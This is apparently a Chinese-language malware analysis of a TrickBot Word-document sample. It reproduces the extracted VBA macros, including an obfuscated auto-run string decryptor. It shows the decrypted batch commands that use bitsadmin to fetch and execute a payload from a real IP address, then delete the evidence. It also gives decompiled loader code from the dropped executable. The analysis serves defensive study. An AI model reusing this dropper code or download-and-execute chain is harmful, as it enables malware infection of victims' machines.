trickbot病毒分析
概述
最近微软发布了一款Trickbot扫描器[1]
该木马近期在app.any.run公开任务的提交趋势如下[2]
获取一个样本[2],进行分析
原始样本(doc)分析
打开之后是这样的
这里包含一定的社会工程操作,如果受害者对此类攻击不熟悉,就会点击启用宏导致样本执行。
使用oletools查看一下宏
C:\Users\IEUser\Desktop\trickbot>mraptor trickbot.doc MacroRaptor 0.56.2 - http://decalage.info/python/oletools This is work in progress, please report issues at https://github.com/decalage2/oletools/issues ----------+-----+----+-------------------------------------------------------- Result |Flags|Type|File ----------+-----+----+-------------------------------------------------------- SUSPICIOUS|AWX |OpX:|trickbot.doc Flags: A=AutoExec, W=Write, X=Execute Exit code: 20 - SUSPICIOUS FLARE Tue 03/22/2022 0:41:10.52
使用olevba查看一下宏列表
+----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |AutoExec |autoopen |Runs when the Word document is opened | |AutoExec |Document_Close |Runs when the Word document is closed | |AutoExec |Document_New |Runs when a new Word document is created | |AutoExec |Label1_Click |Runs when the file is opened and ActiveX | | | |objects trigger events | |AutoExec |TextBox1_Change |Runs when the file is opened and ActiveX | | | |objects trigger events | |Suspicious|Environ |May read system environment variables | |Suspicious|Open |May open a file | |Suspicious|Output |May write to a file (if combined with Open) | |Suspicious|Print # |May write to a file (if combined with Open) | |Suspicious|ShellExecute |May run an executable file or a system | | | |command | |Suspicious|ShellExecuteA |May run an executable file or a system | | | |command | |Suspicious|shell32 |May run an executable file or a system | | | |command | |Suspicious|Windows |May enumerate application windows (if | | | |combined with Shell.Application object) | |Suspicious|Lib |May run code from a DLL | |Suspicious|Chr |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|Hex Strings |Hex-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | |IOC |script1.bat |Executable file name | |IOC |script11.bat |Executable file name | |IOC |script2.bat |Executable file name | |IOC |script3.bat |Executable file name | |IOC |script4.bat |Executable file name | |Hex String|4TVq |34545671 | +----------+--------------------+---------------------------------------------+
并提取出宏,分阶段分析
首先声明获取系统版本的函数,并且在开始时自动执行一些函数
Option Explicit #If Win64 Then Private Declare PtrSafe Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long ''PtrSafe #Else Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long ''PtrSafe #End If Private Type OSVERSIONINFO ' 声明系统版本结构体,便于获取信息 dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long szCSDVersion As String * 128 End Type Dim NameJob As String Dim NameApp As String Dim TT As String Dim NameLoad As String Dim Count As Byte Dim s1, s11, s2, s3, t1 As String Sub ducument_open() MsgBox ("ducument_open") End Sub Sub autoopen() #Const CVV = "8989" #If v = "9200" Or v = "787.17763.111" Then ''MsgBox "ok" #Else ''MsgBox "else" #End If Dim SSS As Integer NameJob = "" Count = 0 NameApp = "" NameLoad = "" Start 3.14 End Sub
函数结尾执行了Start函数,参数是3.14
Sub Start(DD As Double, Optional NXT As Byte = 0) Dim SSS As Integer Dim ff Dim tmp As String If DD = Round(377 / 120, 2) Then ' Round(377/120,2)恰好是3.14 'MsgBox NXT VerWin Count = 0 NameApp = "" NameLoad = "" tmp = Environ("tmp") ' 解密字符串 s1 = Vnoc("b.iynpyb.iynbybwaoynmyn2ysr\ti\ps3cocex.%d3Y\ecVi.\t/x xyse.as3", "nY%dpytmsiaoe.c\Vwx/b32r ") + GetRandName(10) + GetRandExp() + Vnoc("errebp\&ab2c%s3aptt1i perrebp\&ab2c%s3ap.1i perrebp\&ab2c%s3apm1i p", "me%t&\bpr2ias.3 c1", 4) s11 = Vnoc("4r2cg4c4r2cgnc5m1-c 1cpcd.i..i/6i6pd", "5cr2-i6/4np mdg.1", 7) + Chr(13) + Chr(10) + Vnoc("6)9r42202s4 4sr11t9v%4(9%=1ofle94s%49v%4(9%=1ioe", "06)tle(s4v%= r192oif", 3) s2 = Vnoc("eiumodmeiumoemrti/ crmorm", "mtdc/ irueo") + GetRandTime(3) + Vnoc("enm%/bk&teppea\kroa ", "%\rpkna botm&e/") + NameApp + " /transfer " + _ GetRandJName(10) + Vnoc("epth:inhytep.dshdso4e\s%\e\oo. pplr5rr5m651/r1pwaodh5.%.e1ow.1g", "h4:pl\r .ngde5i%tams1oyw/6", 5) + GetRandName2(11) + GetRandExp() ' s3 = Vnoc("m /otcom /otmoiu deriotio", "rmodtuc e/i") + GetRandTime(4) + Vnoc("erb%/atn&eppekmt\ok ", "b oam&/e%n\prtk") + NameLoad + _ Vnoc("..a2 tabrabfa/i pl/sm%ecli&\d1ia/i pl/sm%ecli3\d1ia/i pl/sm%ecliq\d1i", "slcb3ra.mt%dqe1\pi/2f &", 8) + _ Vnoc("biep aimc\%tae44r1.ebiep aimc\%taesr1.ebiep aim", "srmt1ac% e4.\ibp") + NameApp + GetRandExp() t1 = Vnoc("ormt ctormt otierdu/it it", "muir/ec dot", 3) + GetRandTime(13) + Vnoc("t\ &ao%mptkktb/erbn", "/mr\eon%& bktap", 3) + NameApp + Vnoc("iNgue SmsSrsuoo/TtuSPei", "PoTmS/tgNer usi", 3) + _ NameJob + Vnoc("&2t2&mm&p% \1pe", " %m1et&p\2") + NameApp + Vnoc("t MlyRD/rlyaeSlniet", "eMtD/alRyS inr") + NameJob + " 4" With Form1 .Label2 = s2 .Label3 = s3 .Label4 = t1 End With ff = FreeFile Open tmp + "\script1.bat" For Output As #ff Print #ff, s1 Close #ff ff = FreeFile Open tmp + "\script11.bat" For Output As #ff Print #ff, s11 Close #ff ff = FreeFile Open tmp + "\script2.bat" For Output As #ff Print #ff, s2 Close #ff ff = FreeFile Open tmp + "\script3.bat" For Output As #ff Print #ff, s3 Close #ff ff = FreeFile Open tmp + "\script4.bat" For Output As #ff Print #ff, t1 Close #ff End If tmp = s1 s2 = "JHHGhdrrj7745" s3 = "7455jkjjhHGGhgh471" End Sub
这里用到了一个解密字符串的函数Vnoc
,解密完成后写入到一系列文件中
Function Vnoc(ES As String, MK As String, Optional Oset As Integer = 6) As String Dim I, CurPosSym, Offset As Integer Dim CurSymbol, NewSymbol As String Dim NewString As String Dim TEST1 As String ''MK = "yocixniyocixyiy\/:ix%ixmiy .Ypac\Yw.w:wVtobK.2pVwecopast3tirVto/r.::OndY3st3t" Offset = Oset NewString = "" For I = 1 To Len(ES) CurSymbol = Mid(ES, I, 1) ' Get The ith char CurPosSym = InStr(1, MK, CurSymbol) ' Get the position of char in MK If CurPosSym - Offset > 0 Then NewSymbol = Mid(MK, CurPosSym - Offset, 1) ' Get The CurPosSymth char Else NewSymbol = Mid(MK, CurPosSym + Len(MK) - Offset, 1) ' Get CurPosSym + Len(MK) - Offsetth char End If NewString = NewString + NewSymbol Next I Vnoc = NewString End Function
解密逻辑比较清晰,即类凯撒解密,第一个参数是加密后的字符串,第二个参数是加密用的移位表
Start中调用这个函数,解密得到的字符串如下
:: script1.bat s1 cmd /r cmd /c copy /Y /V %windir%\system32\bitsadmin.exe %tmp%\hexM0^0.exe && %temp%\script11.bat && %temp%\script2.bat && %temp%\script3.bat :: script11.bat s11 cmd /c cmd /r ping -n 2 64.44.51.126 if %errorlevel%==0 (set s4=126) else (set s4=91) :: script2.bat s2 cmd /r cmd /c timeout /t 5 /nobreak && %temp%\hexM0^0 /transfer "eClKsn" /download /priority high http://64.44.51.%s4%/metro.pgp %tmp%\0o60p0$0.exe :: script3.bat s3 cmd /r cmd /c timeout /t 5 /nobreak && %temp%\0o60p0$0 && del /f /q %temp%\script1.bat %temp%\script2.bat %temp%\script3.bat %temp%\script11.bat %temp%\script4.bat %temp%\hexM0^0.exe :: script4.bat t1 cmd /r cmd /c timeout /t 14 /nobreak && %tmp%\hexM0^0 /SetNoProgressTimeout "eClKsn" 121 && %temp%\hexM0^0 /SetMinRetryDelay "eClKsn" 4
接下来就是文档关闭时的动作了
Private Sub Document_Close() With Form1.Label1 If .Width + .Top > 100 Then .Caption = s1 s1 = "(834jdd+=" Form1.Label1_Click End If End With End Sub
调用了Form1的Label1_Click
'VBA MACRO Form1.frm 'in file: word/vbaProject.bin - OLE stream: 'VBA/Form1' '- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Option Explicit #If Win64 Then Private Declare PtrSafe Function ShellExecute Lib "shell32" _ Alias "ShellExecuteA" (ByVal hwnd As Long, _ ByVal lpOperation As String, ByVal lpFile As String, _ ByVal lpParameters As String, ByVal lpDirectory As String, _ ByVal nShowCmd As Long) As Long Private Const SW_SHOWNORMAL = 1 #Else Private Declare Function ShellExecute Lib "shell32" _ Alias "ShellExecuteA" (ByVal hwnd As Long, _ ByVal lpOperation As String, ByVal lpFile As String, _ ByVal lpParameters As String, ByVal lpDirectory As String, _ ByVal nShowCmd As Long) As Long Private Const SW_SHOWNORMAL = 1 #End If Public Sub Label1_Click() TextBox1.Value = 34545671 End Sub Private Sub Label3_Click() End Sub Function start2(ByVal pid As Integer, ByVal pam1 As String, ByVal pam2 As String, pamW As Integer) As Integer If Len(pam1) = 3 And Asc(Mid(pam1, 2, 1)) = 109 Then start2 = ShellExecute(pid, vbNullString, pam1, pam2, ThisDocument.Path, pamW) End If start2 = 1 End Function Private Sub TextBox1_Change() If TextBox2.Height > 1 Then TextBox2.Text = "*&87873jnhjhsJJHGGF==+++" End If End Sub Private Sub TextBox2_Change() Dim w1 As String If TextBox3.Width > 5 + 2 Then w1 = CStr(Label1.Caption) TextBox3.Text = "HGHGhwegrbce74546567" End If End Sub Private Sub TextBox3_Change() Dim w2 As String If TextBox2.Width > TextBox3.Height Then w2 = Label2.Caption TextBox4.Text = "3485erjtghhgFDFDGJKJhjhe" End If End Sub Private Sub TextBox4_Change() Dim w3, cor As String Dim SF, SG As Integer If TextBox4.Width > TextBox3.Width + TextBox2.Width + TextBox1.Width Then w3 = Label1.Caption ' Gets or sets the text that appears in the control. Read/write String cor = Label4.Caption SF = start2(0, "cmd", w3, 0) 'MsgBox Environ("res") SG = start2(0, "cmd", cor, 0) End If End Sub
可以看到这是一个链式调用,Label1_Click触发TextBox1_Change(),然后TextBox2_Change(),TextBox3_Change(), TextBox4_Change()。最终调用start2()执行了一些命令
其它函数就是一些获取随机字符串的操作
最终执行的字符串为
w3=Label1.Caption=s1 cor=Label4.Caption=t1
也就是使用bitsadmin.exe执行script2.bat,script3.bat,script11.bat。然后执行script4.bat。首先测试链接,然后下载载荷。并且其中的script3执行了载荷。
0o60p0$0.exe分析
程序开头以及后面都输出了一些无关紧要的东西,把自己伪装成一个小游戏
printf("\t\t\tC PROGRAM QUIZ GAME"); printf("\t\t________________________________________"); printf("\t\t\t WELCOME "); printf("\t\t\t to "); printf("\t\t\t THE GAME "); printf("\t\t________________________________________"); printf("\t\t________________________________________"); printf("\t\t BECOME A MILLIONAIRE!!!!!!!!!!! "); printf("\t\t________________________________________"); printf("\t\t________________________________________"); printf("\t\t > Press S to start the game"); printf("\t\t > Press V to view the highest score "); printf("\t\t > Press R to reset score"); printf("\t\t > press H for help "); printf("\t\t > press Q to quit "); printf("\t\t________________________________________");
但是中间解密并执行了一些数据
decrypt_string("5w5EzPC0C10QrKw(", aUuo, 3662); decrypt_string("5w5EzPC0C10QrKw(", aUuIu, 692); v6 = VirtualAlloc(0, 0xE4Eu, 0x1000u, 0x40u); memmove(v6, aUuo, 0xE4Eu); v5 = VirtualAlloc(0, 0x2B4u, 0x1000u, 0x40u); memmove(v5, aUuIu, 0x2B4u); GetModuleFileNameW(0, Filename, 0x400u); if ( is_exist(Filename) ) ((void (*)(const char *, ...))v6)("Td5xh%r7dqisN#s", 16, &unk_425000, 165888); ((void (__cdecl *)(void *))v5)(&unk_425000);
解密算法如下
int __cdecl decrypt_string(const char *a1, char *a2, int a3) { int result; // eax unsigned int i; // [esp+Ch] [ebp-8h] for ( i = 0; i != a3; ++i ) { a2[i] ^= a1[i % strlen(a1)]; result = i + 1; } return result; }
分析解密后的数据
第一个函数分析
BOOL __cdecl sub_41D955(int a1, int a2, int a3, int a4) { BOOL result; // eax //... if ( a2 <= 0 || a2 > 16 ) return 0; v9 = sub_41D826(); v21 = 0; //... strcpy(v13, "RSA2"); //... strcpy(v19, "advapi32.dll"); strcpy(v14, "CryptAcquireContextA"); strcpy(v17, "CryptImportKey"); strcpy(v18, "CryptEncrypt"); v8 = (int (__stdcall *)(char *))sub_41D8B9(v9, -1970583946); // LoadLibraryA v11 = (int (__stdcall *)(int, char *))sub_41D8B9(v9, 449506938); // GetProcAddress v22 = 0; v22 = v8(v19); v21 = (int (__stdcall *)(int *, _DWORD, _DWORD, int, int))v11(v22, v14); // CryptAcquireContextA v10 = (int (__stdcall *)(int, char *, int, int, _DWORD, int *))v11(v22, v17); // CryptImportKey v5 = (int (__stdcall *)(int, _DWORD, int, _DWORD, int, int *, int))v11(v22, v18); // CryptEncrypt v23 = 0; if ( !v21(&v23, 0, 0, 1, 0) && !v21(&v23, 0, 0, 1, 8) && !v21(&v23, 0, 0, 1, -268435456) ) return 0; v7 = 0; if ( !v10(v23, v12, 308, 0, 0, &v7) ) return 0; for ( i = 0; i < a2; ++i ) v16[i] = *(_BYTE *)(a1 + a2 - i - 1); v16[a2] = 0; for ( j = a2 + 1; j < 62; ++j ) v16[j] = 1; v6 = 0; if ( v10(v23, v15, 76, v7, 0, &v6) ) result = v5(v6, 0, 1, 0, a3, &a4, a4) != 0; // 加密a3中a4个大小的数据 else result = 0; return result; }
首先加载一系列的加密库,然后加载硬编码的RSA key
加密过程实际上解密了一个dll,解密后的数据如下
第二个函数分析
int __stdcall sub_26E650(int a1) { //... v4 = &v2; v5 = sub_26E6C6(); v3 = (void (__cdecl *)(char *, _DWORD, int))sub_26E757(v5, 472671547); // memset v3(v4, 0, 32); return sub_26E7F3(a1); }
最后一个函数sub_26e7f3
int __cdecl sub_26E7F3(int a1) { //... varC = *(_DWORD *)(a1 + 60) + a1; var1C = sub_26E690(); var20 = sub_26E6C6(); var24 = (int (__stdcall *)(_DWORD, _DWORD, int, int))sub_26E757(var1C, 808369692); // VirtualAlloc var2C = (void (__cdecl *)(int, int, _DWORD))sub_26E757(var20, 478437696);// memcpy var14 = var24(0, *(_DWORD *)(varC + 80), 4096, 64); var8 = *(_WORD *)(varC + 6); var10 = varC + *(unsigned __int16 *)(varC + 20) + 24; for ( var4 = 0; var4 < (int)var8; ++var4 ) var2C( *(_DWORD *)(var10 + 40 * var4 + 12) + var14, *(_DWORD *)(var10 + 40 * var4 + 20) + a1, *(_DWORD *)(var10 + 40 * var4 + 16)); ((void (__cdecl *)(int, int, int))(*(_DWORD *)(varC + 40) + var14))( varC + 128, var10 + 40 * var8 - a1, *(_DWORD *)(varC + 40) + var14); return 1; }
后续行为比较复杂,但是从app.any.run的报告来看,该样本还是有一些trickbot的行为。
其他行为后续会继续分析。
总结
该样本以最初的docm文档呈现,office是不会阻挡docm的宏的加载的。且该样本层层套娃,以多种方式逃避自动化分析。
防范措施:不要打开来历不明的文件,经常安装、更新杀毒软件。
